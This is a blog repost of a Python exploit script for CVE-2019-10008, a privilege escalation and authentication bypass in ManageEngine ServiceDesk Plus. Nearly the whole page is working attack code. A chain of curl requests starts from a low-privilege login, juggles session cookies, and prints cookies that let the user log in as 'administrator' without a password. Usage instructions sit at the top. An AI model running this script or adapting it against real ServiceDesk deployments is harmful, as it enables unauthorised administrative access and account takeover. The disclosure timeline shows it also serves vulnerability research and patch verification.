Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86370564

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#!/usr/bin/python

# Exploit Title: Manage Engine ServiceDesk Plus Version <10.0 Privilege Escalation
# Date: 30-03-2019
# Exploit Author: Ata Hakçıl, Melih Kaan Yıldız
# Vendor: ManageEngine
# Vendor Homepage: www.manageengine.com
# Product: Service Desk Plus
# Version: 10.0
# Tested On: Kali Linux
# CVE: CVE-2019-10008
# Platform: JSP

# Timeline

# 22 march 2019: Discovery
# 24 march 2019: CVE id reserved for CVE-2019-10008
# 26 march 2019: First contact with vendor
# 5  april 2019: First publication
# 10 april 2019: Vendor confirmation
# 11 april 2019: Vendor released a fix (version 10017)


# Reference link: https://www.manageengine.com/products/service-desk/readme.html

import os
import re



# How to use: Change the host, low_username, low_password and high_username variables depending on what you have.
# Low username and password is an account you have access to. high_username is account you want to authenticate as.

# After running the script, it will output you the cookies that you can set on your browser to login to the high_username without password.


#Host ip address + port
host="localhost:8080"

#set to https if needed
url = "http://" + host

#Username with credentials you have
low_username="guest"
low_password="guest"

#username you want to login as
high_username="administrator"

print("\033[1;37mUrl: \033[1;32m" + url)
print("\033[1;37mUser with low priv: \033[1;32m" + low_username + ':' + low_password)
print("\033[1;37mUser to bypass authentication to: \033[1;32m" + high_username)


print("\033[1;32mGetting a session id\033[1;37m")

# Get index page to capture a session id
curl = "curl -i -s -k  -X $'GET' \
    -H $'Host: "+host+"'  -H $'Referer: "+url+"/' -H $'Connection: close'\
    $'"+url+"/'"

out = os.popen('/bin/bash -c "' + curl+'"').read()
sessid = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0]

print("Sessid:")
print(sessid)


print("\033[1;31mLogging in with low privilege user\033[1;37m")


#Attempt login post request 
curl="curl -i -s -k -X $'POST' -H $'Host: "+host+"'\
 -H $'Referer: "+url+"/'\
 -H $'Connection: close' -H $'Cookie: JSESSIONID="+sessid+"' \
 -b $'JSESSIONID="+sessid+"' \
 --data-binary $'j_username="+low_username+"&j_password="+low_password+"&LDAPEnable=false&\
 hidden=Select+a+Domain&hidden=For+Domain&AdEnable=false&DomainCount=0&LocalAuth=No&LocalAuthWithDomain=No&\
 dynamicUserAddition_status=true&localAuthEnable=true&logonDomainName=-1&loginButton=Login&checkbox=checkbox' \
 $'"+url+"/j_security_check'"

out = os.popen('/bin/bash -c "' + curl+'"').read()


#Instead of following redirects with -L, following manually because we don't need all the transactions.
curl="curl -i -s -k -X $'GET' -H $'Host: "+host+"'\
 -H $'Referer: "+url+"/'\
 -H $'Connection: close' -H $'Cookie: JSESSIONID="+sessid+"' \
 -b $'JSESSIONID="+sessid+"' \
 $'"+url+"/'"

out = os.popen('/bin/bash -c "' + curl+'"').read()

print("\033[1;32mCaptured authenticated cookies.\033[1;37m")
sessid = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0]
print(sessid)
sessidsso = re.findall("(?<=Set-Cookie: JSESSIONIDSSO=)[^;]*",out)[0]
print(sessidsso)
grbl = re.findall("(?<=Set-Cookie: )[^=]*=[^;]*",out)

grbl2 = []
for cookie in grbl:
	cl = cookie.split('=')
	if cl[0]!='JSESSIONID' and cl[0]!='JSESSIONIDSSO' and cl[0]!='_rem':

		grbl2.append(cl[0])
		grbl2.append(cl[1])

curl = "curl -i -s -k -X $'GET' \
    -H $'Host: "+host+"' \
    -H $'Cookie: JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
    -b $'JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
    $'"+url+"/mc/'"


out = os.popen('/bin/bash -c "' + curl+'"').read()
sessid2 = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0]

print("\033[1;32mCaptured secondary sessid.\033[1;37m")
print(sessid2)


print("\033[1;31mDoing the magic step 1.\033[1;37m")
curl = "curl -i -s -k -X $'GET' \
    -H $'Host: "+host+"' \
	-H $'Referer: "+url+"/mc/WOListView.do' \
	-H $'Cookie: JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
	-b $'JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
	$'"+url+"/mc/jsp/MCLogOut.jsp'"

out = os.popen('/bin/bash -c "' + curl+'"').read()

print("\033[1;31mDoing the magic step 2.\033[1;37m")




curl = "curl -i -s -k -X $'GET' \
    -H $'Host: "+host+"' \
    -H $'Cookie: JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
    -b $'JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
    $'"+url+"/mc/jsp/MCDashboard.jsp'"


out = os.popen('/bin/bash -c "' + curl+'"').read()

sessid3 = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0]
sessidsso = re.findall("(?<=Set-Cookie: JSESSIONIDSSO=)[^;]*",out)[0]


curl = "curl -i -s -k -X $'GET' \
    -H $'Host: "+host+"' \
    -H $'Cookie: JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
    -b $'JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
    $'"+url+"/'"

out = os.popen('/bin/bash -c "' + curl+'"').read()
sessid4 = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0]


curl = "curl -i -s -k -X $'POST' \
    -H $'"+host+"' \
    -H $'Referer: "+url+"/mc/jsp/MCDashboard.jsp' \
    -H $'Cookie: JSESSIONID="+sessid3+"; JSESSIONID="+sessid4+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
    -b $'JSESSIONID="+sessid3+"; JSESSIONID="+sessid4+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
    --data-binary $'j_username="+high_username+"&j_password=bypassingpass&DOMAIN_NAME=' \
    $'"+url+"/mc/j_security_check'"


out = os.popen('/bin/bash -c "' + curl+'"').read()

curl = "curl -i -s -k -X $'GET' \
    -H $'Host: "+host+"' \
    -H $'Referer: "+url+"/mc/jsp/MCDashboard.jsp' \
    -H $'Cookie: JSESSIONID="+sessid3+"; JSESSIONID="+sessid4+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
    -H $'Upgrade-Insecure-Requests: 1' \
    -b $'JSESSIONID="+sessid3+"; JSESSIONID="+sessid4+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
    $'"+url+"/mc/jsp/MCDashboard.jsp'"



out = os.popen('/bin/bash -c "' + curl+'"').read()


sessidhigh = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0]
sessidssohigh = re.findall("(?<=Set-Cookie: JSESSIONIDSSO=)[^;]*",out)[0]

print("\033[1;31mCaptured target session.Set following cookies on your browser.\033[1;37m")
print("JSESSIONID=" + sessidhigh)
print("JSESSIONIDSSO=" + sessidssohigh)
print(grbl2[0] + "=" + grbl2[1])
print(grbl2[2] + "=" + grbl2[3])
print("_rem=true")